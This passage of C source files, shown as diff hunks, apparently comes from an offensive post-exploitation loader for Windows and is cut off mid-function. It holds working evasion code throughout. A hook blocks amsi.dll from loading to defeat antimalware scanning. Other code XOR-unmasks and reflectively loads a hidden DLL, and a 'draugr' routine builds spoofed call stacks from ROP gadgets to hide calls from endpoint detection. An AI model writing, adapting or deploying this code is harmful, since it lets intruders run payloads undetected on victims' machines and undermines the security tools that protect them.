DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$LoadLibraryW ( LPCWSTR );
DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$LoadLibraryExW ( LPCWSTR, HANDLE, DWORD );
DECLSPEC_IMPORT int WINAPI MSVCRT$_wcsicmp ( const wchar_t *, const wchar_t * );
DECLSPEC_IMPORT wchar_t * WINAPI MSVCRT$wcsrchr ( const wchar_t *, wchar_t );
HMODULE WINAPI _LoadLibraryA ( LPCSTR lpLibFileName )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( LoadLibraryA );
call.argc = 1;
call.args [ 0 ] = spoof_arg ( lpLibFileName );
return ( HMODULE ) spoof_call ( &call );
}
HMODULE WINAPI _LoadLibraryExW ( LPCWSTR lpLibFileName, HANDLE hFile, DWORD dwFlags )
{
/* get the filename from path */
LPCWSTR back = MSVCRT$wcsrchr ( lpLibFileName, L'\\' );
LPCWSTR fwd = MSVCRT$wcsrchr ( lpLibFileName, L'/' );
LPCWSTR name = back > fwd ? back : fwd;
if ( name ) {
name++;
}
else {
name = lpLibFileName;
}
/* say no to amsi */
if ( MSVCRT$_wcsicmp ( name, L"amsi.dll" ) == 0 ) {
/* return without loading (─ ‿ ─) */
return NULL;
}
/* load the module */
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$LoadLibraryExW );
call.argc = 3;
call.args [ 0 ] = spoof_arg ( lpLibFileName );
call.args [ 1 ] = spoof_arg ( hFile );
call.args [ 2 ] = spoof_arg ( dwFlags );
/* hold the result */
HMODULE module = ( HMODULE ) spoof_call ( &call );
/* check to see if it's mscoreei.dll or clr.dll */
if ( MSVCRT$_wcsicmp ( name, L"mscoreei.dll") == 0 || MSVCRT$_wcsicmp ( name, L"clr.dll") == 0 )
{
/* parse the module's headers */
IMAGE_DOS_HEADER * dos_headers = ( IMAGE_DOS_HEADER * ) module;
IMAGE_NT_HEADERS * nt_headers = ( IMAGE_NT_HEADERS * ) ( ( DWORD_PTR ) module + dos_headers->e_lfanew );
/* get the import directory */
IMAGE_DATA_DIRECTORY imports_directory = nt_headers->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
IMAGE_IMPORT_DESCRIPTOR * import_descriptor = ( IMAGE_IMPORT_DESCRIPTOR * ) ( imports_directory.VirtualAddress + ( DWORD_PTR ) module );
/* walk every imported module */
while ( import_descriptor->Name != 0 )
{
IMAGE_THUNK_DATA * original_first_thunk = ( IMAGE_THUNK_DATA * ) ( ( DWORD_PTR ) module + import_descriptor->OriginalFirstThunk );
IMAGE_THUNK_DATA * first_thunk = ( IMAGE_THUNK_DATA * ) ( ( DWORD_PTR ) module + import_descriptor->FirstThunk );
/* walk every imported function */
while ( original_first_thunk->u1.AddressOfData != 0 )
{
IMAGE_IMPORT_BY_NAME * func_name = ( IMAGE_IMPORT_BY_NAME * ) ( ( DWORD_PTR ) module + original_first_thunk->u1.AddressOfData );
DWORD func_hash = ror13hash ( ( char * ) ( func_name->Name ) );
/* is the imported function LoadLibraryExW? */
if ( func_hash == LOADLIBRARYEXW_HASH )
{
/* yep, hook it */
DWORD old_protect = 0;
if ( KERNEL32$VirtualProtect ( ( LPVOID ) ( &first_thunk->u1.Function ), sizeof ( PVOID ), PAGE_READWRITE, &old_protect ) )
{
first_thunk->u1.Function = ( DWORD_PTR ) ( _LoadLibraryExW );
KERNEL32$VirtualProtect ( ( LPVOID ) ( &first_thunk->u1.Function ), sizeof ( PVOID ), old_protect, &old_protect);
}
}
++original_first_thunk;
++first_thunk;
}
import_descriptor++;
}
}
/* now return the module */
return module;
}
HMODULE WINAPI _LoadLibraryW ( LPCWSTR lpLibFileName )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$LoadLibraryW );
call.argc = 1;
call.args [ 0 ] = spoof_arg ( lpLibFileName );
HMODULE module = ( HMODULE ) spoof_call ( &call );
/* was this mscoree.dll? */
if ( MSVCRT$_wcsicmp ( lpLibFileName, L"mscoree.dll" ) == 0 )
{
/* parse the module's headers */
IMAGE_DOS_HEADER * dos_header = ( IMAGE_DOS_HEADER * ) ( module );
IMAGE_NT_HEADERS * nt_headers = ( IMAGE_NT_HEADERS * ) ( ( DWORD_PTR ) module + dos_header->e_lfanew );
/* get the import directory */
IMAGE_DATA_DIRECTORY imports_directory = nt_headers->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
IMAGE_IMPORT_DESCRIPTOR * import_descriptor = ( IMAGE_IMPORT_DESCRIPTOR * ) ( imports_directory.VirtualAddress + ( DWORD_PTR ) module );
/* walk every imported module */
while ( import_descriptor->Name != 0 )
{
IMAGE_THUNK_DATA * original_first_thunk = ( IMAGE_THUNK_DATA * ) ( ( DWORD_PTR ) module + import_descriptor->OriginalFirstThunk );
IMAGE_THUNK_DATA * first_thunk = ( IMAGE_THUNK_DATA * ) ( ( DWORD_PTR ) module + import_descriptor->FirstThunk );
/* walk every imported function */
while ( original_first_thunk->u1.AddressOfData != 0 )
{
IMAGE_IMPORT_BY_NAME * func_name = ( IMAGE_IMPORT_BY_NAME * ) ( ( DWORD_PTR ) module + original_first_thunk->u1.AddressOfData );
DWORD func_hash = ror13hash ( ( char * ) ( func_name->Name ) );
/* is the imported function LoadLibraryExW? */
if ( func_hash == LOADLIBRARYEXW_HASH )
{
/* yep, hook it */
DWORD old_protect = 0;
if ( KERNEL32$VirtualProtect ( ( LPVOID ) ( &first_thunk->u1.Function ), sizeof ( PVOID ), PAGE_READWRITE, &old_protect ) )
{
first_thunk->u1.Function = ( DWORD_PTR ) ( _LoadLibraryExW );
KERNEL32$VirtualProtect ( ( LPVOID ) ( &first_thunk->u1.Function ), sizeof ( PVOID ), old_protect, &old_protect );
}
}
++original_first_thunk;
++first_thunk;
}
import_descriptor++;
}
}
/* now return the module */
return module;
}
LPVOID WINAPI _VirtualAlloc ( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$VirtualAlloc );
call.argc = 4;
call.args [ 0 ] = spoof_arg ( lpAddress );
call.args [ 1 ] = spoof_arg ( dwSize );
call.args [ 2 ] = spoof_arg ( flAllocationType );
call.args [ 3 ] = spoof_arg ( flProtect );
return ( LPVOID ) spoof_call ( &call );
}
BOOL WINAPI _VirtualFree ( LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$VirtualFree );
call.argc = 3;
call.args [ 0 ] = spoof_arg ( lpAddress );
call.args [ 1 ] = spoof_arg ( dwSize );
call.args [ 2 ] = spoof_arg ( dwFreeType );
return ( BOOL ) spoof_call ( &call );
}
BOOL WINAPI _VirtualProtect ( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$VirtualProtect );
call.argc = 4;
call.args [ 0 ] = spoof_arg ( lpAddress );
call.args [ 1 ] = spoof_arg ( dwSize );
call.args [ 2 ] = spoof_arg ( flNewProtect );
call.args [ 3 ] = spoof_arg ( lpflOldProtect );
return ( BOOL ) spoof_call ( &call );
}
+146
View File
@@ -0,0 +1,146 @@
#include <windows.h>
#include "loader.h"
#include "tcg.h"
#include "memory.h"
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD );
char _PICO_ [ 0 ] __attribute__ ( ( section ( "pico" ) ) );
char _MASK_ [ 0 ] __attribute__ ( ( section ( "mask" ) ) );
char _DLL_ [ 0 ] __attribute__ ( ( section ( "dll" ) ) );
int __tag_setup_hooks ( );
int __tag_setup_memory ( );
typedef void ( * SETUP_HOOKS ) ( IMPORTFUNCS * funcs );
typedef void ( * SETUP_MEMORY ) ( MEMORY_LAYOUT * layout );
void fix_section_permissions ( DLLDATA * dll, char * src, char * dst, MEMORY_REGION * region )
{
DWORD section_count = dll->NtHeaders->FileHeader.NumberOfSections;
IMAGE_SECTION_HEADER * section_hdr = NULL;
void * section_dst = NULL;
DWORD section_size = 0;
DWORD new_protect = 0;
DWORD old_protect = 0;
section_hdr = ( IMAGE_SECTION_HEADER * ) PTR_OFFSET ( dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader );
for ( int i = 0; i < section_count; i++ )
{
section_dst = dst + section_hdr->VirtualAddress;
section_size = section_hdr->SizeOfRawData;
if ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) {
new_protect = PAGE_WRITECOPY;
}
if ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) {
new_protect = PAGE_READONLY;
}
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) ) {
new_protect = PAGE_READWRITE;
}
if ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) {
new_protect = PAGE_EXECUTE;
}
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) ) {
new_protect = PAGE_EXECUTE_WRITECOPY;
}
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) ) {
new_protect = PAGE_EXECUTE_READ;
}
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) ) {
new_protect = PAGE_EXECUTE_READWRITE;
}
/* set new permission */
KERNEL32$VirtualProtect ( section_dst, section_size, new_protect, &old_protect );
/* track memory */
region->Sections[ i ].BaseAddress = section_dst;
region->Sections[ i ].Size = section_size;
region->Sections[ i ].CurrentProtect = new_protect;
region->Sections[ i ].PreviousProtect = new_protect;
/* advance to section */
section_hdr++;
}
}
void go ( void * loader_arguments )
{
/* populate funcs */
IMPORTFUNCS funcs;
funcs.LoadLibraryA = LoadLibraryA;
funcs.GetProcAddress = GetProcAddress;
/* load the pico */
char * pico_src = GETRESOURCE ( _PICO_ );
/* allocate memory for it */
PICO * pico_dst = ( PICO * ) KERNEL32$VirtualAlloc ( NULL, sizeof ( PICO ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE );
/* load it into memory */
PicoLoad ( &funcs, pico_src, pico_dst->code, pico_dst->data );
/* make code section RX */
DWORD old_protect;
KERNEL32$VirtualProtect ( pico_dst->code, PicoCodeSize ( pico_src ), PAGE_EXECUTE_READ, &old_protect );
/* begin tracking memory allocations */
MEMORY_LAYOUT memory = { 0 };
memory.Pico.BaseAddress = ( PVOID ) ( pico_dst );
memory.Pico.Size = sizeof ( PICO );
memory.Pico.Sections[ 0 ].BaseAddress = ( PVOID ) ( pico_dst->data );
memory.Pico.Sections[ 0 ].Size = PicoDataSize ( pico_src );
memory.Pico.Sections[ 0 ].CurrentProtect = PAGE_READWRITE;
memory.Pico.Sections[ 0 ].PreviousProtect = PAGE_READWRITE;
memory.Pico.Sections[ 1 ].BaseAddress = ( PVOID ) ( pico_dst->code );
memory.Pico.Sections[ 1 ].Size = PicoCodeSize ( pico_src );
memory.Pico.Sections[ 1 ].CurrentProtect = PAGE_EXECUTE_READ;
memory.Pico.Sections[ 1 ].PreviousProtect = PAGE_EXECUTE_READ;
/* call setup_hooks to overwrite funcs.GetProcAddress */
( ( SETUP_HOOKS ) PicoGetExport ( pico_src, pico_dst->code, __tag_setup_hooks ( ) ) ) ( &funcs );
/* now load the dll (it's masked) */
RESOURCE * masked_dll = ( RESOURCE * ) GETRESOURCE ( _DLL_ );
RESOURCE * mask_key = ( RESOURCE * ) GETRESOURCE ( _MASK_ );
/* load dll into memory and unmask it */
char * dll_src = KERNEL32$VirtualAlloc ( NULL, masked_dll->len, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE );
for ( int i = 0; i < masked_dll->len; i++ ) {
dll_src [ i ] = masked_dll->value [ i ] ^ mask_key->value [ i % mask_key->len ];
}
DLLDATA dll_data;
ParseDLL ( dll_src, &dll_data );
char * dll_dst = KERNEL32$VirtualAlloc ( NULL, SizeOfDLL ( &dll_data ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE );
LoadDLL ( &dll_data, dll_src, dll_dst );
/* track dll's memory */
memory.Dll.BaseAddress = ( PVOID ) ( dll_dst );
memory.Dll.Size = SizeOfDLL ( &dll_data );
ProcessImports ( &funcs, &dll_data, dll_dst );
fix_section_permissions ( &dll_data, dll_src, dll_dst, &memory.Dll );
/* call setup_memory to give PICO the memory info */
( ( SETUP_MEMORY ) PicoGetExport ( pico_src, pico_dst->code, __tag_setup_memory ( ) ) ) ( &memory );
/* now run the DLL */
DLLMAIN_FUNC entry_point = EntryPoint ( &dll_data, dll_dst );
/* free the unmasked copy */
KERNEL32$VirtualFree ( dll_src, 0, MEM_RELEASE );
entry_point ( ( HINSTANCE ) dll_dst, DLL_PROCESS_ATTACH, NULL );
entry_point ( ( HINSTANCE ) ( char * ) go, 0x4, loader_arguments );
}
+11
View File
@@ -0,0 +1,11 @@
#define GETRESOURCE(x) ( char * ) &x
typedef struct {
char data [ 4096 ];
char code [ 16384 ];
} PICO;
typedef struct {
int len;
char value[];
} RESOURCE;
+17
View File
@@ -0,0 +1,17 @@
typedef struct {
PVOID BaseAddress;
SIZE_T Size;
DWORD CurrentProtect;
DWORD PreviousProtect;
} MEMORY_SECTION;
typedef struct {
PVOID BaseAddress;
SIZE_T Size;
MEMORY_SECTION Sections [ 20 ];
} MEMORY_REGION;
typedef struct {
MEMORY_REGION Pico;
MEMORY_REGION Dll;
} MEMORY_LAYOUT;
+65
View File
@@ -0,0 +1,65 @@
#include <windows.h>
#include "memory.h"
#include "spoof.h"
#include "cleanup.h"
#include "tcg.h"
MEMORY_LAYOUT g_memory;
DECLSPEC_IMPORT VOID WINAPI KERNEL32$ExitThread ( DWORD );
FARPROC WINAPI _GetProcAddress ( HMODULE hModule, LPCSTR lpProcName )
{
/* lpProcName may be an ordinal */
if ( ( ULONG_PTR ) lpProcName >> 16 == 0 )
{
/* just resolve normally */
return GetProcAddress ( hModule, lpProcName );
}
FARPROC result = __resolve_hook ( ror13hash ( lpProcName ) );
/*
* result may still be NULL if
* it wasn't hooked in the spec
*/
if ( result != NULL ) {
return result;
}
return GetProcAddress ( hModule, lpProcName );
}
void setup_hooks ( IMPORTFUNCS * funcs )
{
funcs->GetProcAddress = ( __typeof__ ( GetProcAddress ) * ) _GetProcAddress;
}
void setup_memory ( MEMORY_LAYOUT * layout )
{
if ( layout != NULL ) {
g_memory = * layout;
}
}
/*
* throw these hooks in here because
* sharing a global across multiple
* modules is still a bit of a headache
*/
VOID WINAPI _ExitThread ( DWORD dwExitCode )
{
/* free memory */
cleanup_memory ( &g_memory );
/* call the real exit thread */
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$ExitThread );
call.argc = 1;
call.args [ 0 ] = spoof_arg ( dwExitCode );
spoof_call ( &call );
}
+15
View File
@@ -0,0 +1,15 @@
#include <windows.h>
/* patch function pointers in */
__typeof__ ( GetModuleHandle ) * get_module_handle __attribute__ ( ( section ( ".text" ) ) );
__typeof__ ( GetProcAddress ) * get_proc_address __attribute__ ( ( section ( ".text" ) ) );
/**
* This function is used to locate functions in
* modules that are loaded by default (K32 & NTDLL)
*/
FARPROC resolve ( char * mod_name, char * func_name )
{
HANDLE module = get_module_handle ( mod_name );
return get_proc_address ( module, func_name );
}
+386
View File
@@ -0,0 +1,386 @@
#include <windows.h>
#include "spoof.h"
#include "tcg.h"
DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$GetModuleHandleA ( LPCSTR );
DECLSPEC_IMPORT RUNTIME_FUNCTION * WINAPI KERNEL32$RtlLookupFunctionEntry ( DWORD64, PDWORD64, PUNWIND_HISTORY_TABLE );
DECLSPEC_IMPORT ULONG NTAPI NTDLL$RtlRandomEx ( PULONG );
#define TEXT_HASH 0xEBC2F9B4
#define RBP_OP_INFO 0x5
typedef struct {
LPCWSTR DllPath;
ULONG Offset;
ULONGLONG TotalStackSize;
BOOL RequiresLoadLibrary;
BOOL SetsFramePointer;
PVOID ReturnAddress;
BOOL PushRbp;
ULONG CountOfCodes;
BOOL PushRbpIndex;
} STACK_FRAME;
typedef enum {
UWOP_PUSH_NONVOL = 0,
UWOP_ALLOC_LARGE,
UWOP_ALLOC_SMALL,
UWOP_SET_FPREG,
UWOP_SAVE_NONVOL,
UWOP_SAVE_NONVOL_FAR,
UWOP_SAVE_XMM128 = 8,
UWOP_SAVE_XMM128_FAR,
UWOP_PUSH_MACHFRAME
} UNWIND_CODE_OPS;
typedef unsigned char UBYTE;
typedef union {
struct {
UBYTE CodeOffset;
UBYTE UnwindOp : 4;
UBYTE OpInfo : 4;
};
USHORT FrameOffset;
} UNWIND_CODE;
typedef struct {
UBYTE Version : 3;
UBYTE Flags : 5;
UBYTE SizeOfProlog;
UBYTE CountOfCodes;
UBYTE FrameRegister : 4;
UBYTE FrameOffset : 4;
UNWIND_CODE UnwindCode [ 1 ];
} UNWIND_INFO;
typedef struct {
PVOID ModuleAddress;
PVOID FunctionAddress;
DWORD Offset;
} FRAME_INFO;
typedef struct {
FRAME_INFO Frame1;
FRAME_INFO Frame2;
PVOID Gadget;
} SYNTHETIC_STACK_FRAME;
typedef struct {
FUNCTION_CALL * FunctionCall;
PVOID StackFrame;
PVOID SpoofCall;
} DRAUGR_FUNCTION_CALL;
typedef struct {
PVOID Fixup;
PVOID OriginalReturnAddress;
PVOID Rbx;
PVOID Rdi;
PVOID BaseThreadInitThunkStackSize;
PVOID BaseThreadInitThunkReturnAddress;
PVOID TrampolineStackSize;
PVOID RtlUserThreadStartStackSize;
PVOID RtlUserThreadStartReturnAddress;
PVOID Ssn;
PVOID Trampoline;
PVOID Rsi;
PVOID R12;
PVOID R13;
PVOID R14;
PVOID R15;
} DRAUGR_PARAMETERS;
extern PVOID draugr_stub ( PVOID, PVOID, PVOID, PVOID, DRAUGR_PARAMETERS *, PVOID, SIZE_T, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID );
#define draugr_arg(i) ( ULONG_PTR ) ( call->args [ i ] )
void init_frame_info ( SYNTHETIC_STACK_FRAME * frame )
{
PVOID frame1_module = KERNEL32$GetModuleHandleA ( "kernel32.dll" );
PVOID frame2_module = KERNEL32$GetModuleHandleA ( "ntdll.dll" );
frame->Frame1.ModuleAddress = frame1_module;
frame->Frame1.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame1_module, "BaseThreadInitThunk" );
frame->Frame1.Offset = 0x17;
frame->Frame2.ModuleAddress = frame2_module;
frame->Frame2.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame2_module, "RtlUserThreadStart" );
frame->Frame2.Offset = 0x2c;
// frame->Gadget = KERNEL32$GetModuleHandleA ( "KernelBase.dll" );
PVOID dfshim = KERNEL32$GetModuleHandleA ( "dfshim.dll" );
if ( dfshim != NULL ) {
frame->Gadget = dfshim;
} else {
frame->Gadget = LoadLibraryA ( "dfshim.dll" );
}
}
BOOL get_text_section_size ( PVOID module, PDWORD virtual_address, PDWORD size )
{
IMAGE_DOS_HEADER * dos_header = ( IMAGE_DOS_HEADER * ) ( module );
if ( dos_header->e_magic != IMAGE_DOS_SIGNATURE ) {
return FALSE;
}
IMAGE_NT_HEADERS * nt_headers = ( IMAGE_NT_HEADERS * ) ( ( UINT_PTR ) module + dos_header->e_lfanew );
if ( nt_headers->Signature != IMAGE_NT_SIGNATURE ) {
return FALSE;
}
IMAGE_SECTION_HEADER * section_header = IMAGE_FIRST_SECTION ( nt_headers );
for ( int i = 0; i < nt_headers->FileHeader.NumberOfSections; i++ )
{
DWORD h = ror13hash ( ( char * ) section_header[ i ].Name );
if ( h == TEXT_HASH )
{
*virtual_address = section_header[ i ].VirtualAddress;
*size = section_header[ i ].SizeOfRawData;
return TRUE;
}
}
return FALSE;
}
PVOID calculate_function_stack_size ( RUNTIME_FUNCTION * runtime_function, const DWORD64 image_base )
{
UNWIND_INFO * unwind_info = NULL;
ULONG unwind_operation = 0;
ULONG operation_info = 0;
ULONG index = 0;
ULONG frame_offset = 0;
STACK_FRAME stack_frame = { 0 };
if ( ! runtime_function ) {
return NULL;
}
unwind_info = ( UNWIND_INFO * ) ( runtime_function->UnwindData + image_base );
while ( index < unwind_info->CountOfCodes )
{
unwind_operation = unwind_info->UnwindCode[ index ].UnwindOp;
operation_info = unwind_info->UnwindCode[ index ].OpInfo;
/* don't use switch as it produces jump tables */
if ( unwind_operation == UWOP_PUSH_NONVOL )
{
stack_frame.TotalStackSize += 8;
if ( operation_info == RBP_OP_INFO )
{
stack_frame.PushRbp = TRUE;
stack_frame.CountOfCodes = unwind_info->CountOfCodes;
stack_frame.PushRbpIndex = index + 1;
}
}
else if ( unwind_operation == UWOP_SAVE_NONVOL )
{
index += 1;
}
else if ( unwind_operation == UWOP_ALLOC_SMALL )
{
stack_frame.TotalStackSize += ( ( operation_info * 8 ) + 8 );
}
else if ( unwind_operation == UWOP_ALLOC_LARGE )
{
index += 1;
frame_offset = unwind_info->UnwindCode[ index ].FrameOffset;
if (operation_info == 0)
{
frame_offset *= 8;
}
else
{
index += 1;
frame_offset += ( unwind_info->UnwindCode[ index ].FrameOffset << 16 );
}
stack_frame.TotalStackSize += frame_offset;
}
else if ( unwind_operation == UWOP_SET_FPREG )
{
stack_frame.SetsFramePointer = TRUE;
}
else if ( unwind_operation == UWOP_SAVE_XMM128 )
{
return NULL;
}
index += 1;
}
if ( 0 != ( unwind_info->Flags & UNW_FLAG_CHAININFO ) )
{
index = unwind_info->CountOfCodes;
if ( 0 != ( index & 1 ) )
{
index += 1;
}
runtime_function = ( RUNTIME_FUNCTION * ) ( &unwind_info->UnwindCode [ index ] );
return calculate_function_stack_size ( runtime_function, image_base );
}
stack_frame.TotalStackSize += 8;
return ( PVOID ) ( stack_frame.TotalStackSize );
}
PVOID calculate_function_stack_size_wrapper ( PVOID return_address )
{
RUNTIME_FUNCTION * runtime_function = NULL;
DWORD64 image_base = 0;
PUNWIND_HISTORY_TABLE history_table = NULL;
if ( ! return_address ) {
return NULL;
}
runtime_function = KERNEL32$RtlLookupFunctionEntry ( ( DWORD64 ) return_address, &image_base, history_table );
if ( NULL == runtime_function ) {
return NULL;
}
return calculate_function_stack_size ( runtime_function, image_base );
}
PVOID find_gadget( PVOID module )
{
BOOL found_gadgets = FALSE;
DWORD text_section_size = 0;
DWORD text_section_va = 0;
DWORD counter = 0;
ULONG seed = 0;
ULONG random = 0;
PVOID module_text_section = NULL;
PVOID gadget_list [ 15 ] = { 0 };
if ( ! found_gadgets )
{
if ( ! get_text_section_size ( module, &text_section_va, &text_section_size ) ) {
return NULL;
}
module_text_section = ( PBYTE ) ( ( UINT_PTR ) module + text_section_va );
for ( int i = 0; i < ( text_section_size - 2 ); i++ )
{
/* x64 opcodes are ff 23 */
if ( ( ( PBYTE ) module_text_section ) [ i ] == 0xFF && ( ( PBYTE ) module_text_section ) [ i + 1 ] == 0x23 )
{
/* check for a call before the gadget */
if ( ( ( PBYTE ) module_text_section ) [ i - 5 ] == 0xE8 )
{
gadget_list [ counter ] = ( PVOID ) ( ( UINT_PTR ) module_text_section + i );
counter++;
if ( counter == 15 ) {
break;
}
}
}
}
found_gadgets = TRUE;
}
seed = 0x1337;
random = NTDLL$RtlRandomEx ( &seed );
random %= counter;
return gadget_list [ random ];
}
ULONG_PTR draugr_wrapper ( PVOID function, PVOID arg1, PVOID arg2, PVOID arg3, PVOID arg4, PVOID arg5, PVOID arg6, PVOID arg7, PVOID arg8, PVOID arg9, PVOID arg10, PVOID arg11, PVOID arg12 )
{
int attempts = 0;
PVOID return_address = NULL;
DRAUGR_PARAMETERS draugr_params = { 0 };
SYNTHETIC_STACK_FRAME frame;
init_frame_info ( &frame );
return_address = ( PVOID ) ( ( UINT_PTR ) frame.Frame1.FunctionAddress + frame.Frame1.Offset );
draugr_params.BaseThreadInitThunkStackSize = calculate_function_stack_size_wrapper ( return_address );
draugr_params.BaseThreadInitThunkReturnAddress = return_address;
if ( ! draugr_params.BaseThreadInitThunkStackSize || ! draugr_params.BaseThreadInitThunkReturnAddress ) {
return ( ULONG_PTR ) ( NULL );
}
return_address = ( PVOID ) ( ( UINT_PTR ) frame.Frame2.FunctionAddress + frame.Frame2.Offset );
draugr_params.RtlUserThreadStartStackSize = calculate_function_stack_size_wrapper ( return_address );
draugr_params.RtlUserThreadStartReturnAddress = return_address;
if ( ! draugr_params.RtlUserThreadStartStackSize || ! draugr_params.RtlUserThreadStartReturnAddress ) {
return ( ULONG_PTR ) ( NULL );
}
do
{
draugr_params.Trampoline = find_gadget ( frame.Gadget );
draugr_params.TrampolineStackSize = calculate_function_stack_size_wrapper ( draugr_params.Trampoline );
attempts++;
if ( attempts > 15 ) {
return ( ULONG_PTR ) ( NULL );
}
} while ( draugr_params.TrampolineStackSize == NULL || ( ( __int64 ) draugr_params.TrampolineStackSize < 0x80 ) );
if ( ! draugr_params.Trampoline || ! draugr_params.TrampolineStackSize ) {
return ( ULONG_PTR ) ( NULL );
}
return ( ULONG_PTR ) draugr_stub ( arg1, arg2, arg3, arg4, &draugr_params, function, 8, arg5, arg6, arg7, arg8, arg9, arg10, arg11, arg12 );
}
ULONG_PTR spoof_call ( FUNCTION_CALL * call )
{
/* very inelegant */
if ( call->argc == 0 ) {
return draugr_wrapper ( call->ptr, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
} else if ( call->argc == 1 ) {
return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
} else if ( call->argc == 2 ) {
return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
} else if ( call->argc == 3 ) {
return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
} else if ( call->argc == 4 ) {
return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
} else if ( call->argc == 5 ) {
return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL );
} else if ( call->argc == 6 ) {
return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), NULL, NULL, NULL, NULL, NULL, NULL );
} else if ( call->argc == 7 ) {
return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), NULL, NULL, NULL, NULL, NULL );
} else if ( call->argc == 8 ) {
return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), NULL, NULL, NULL, NULL );
} else if ( call->argc == 9 ) {
return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), NULL, NULL, NULL );
} else if ( call->argc == 10 ) {
return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), NULL, NULL );
} else if ( call->argc == 11 ) {
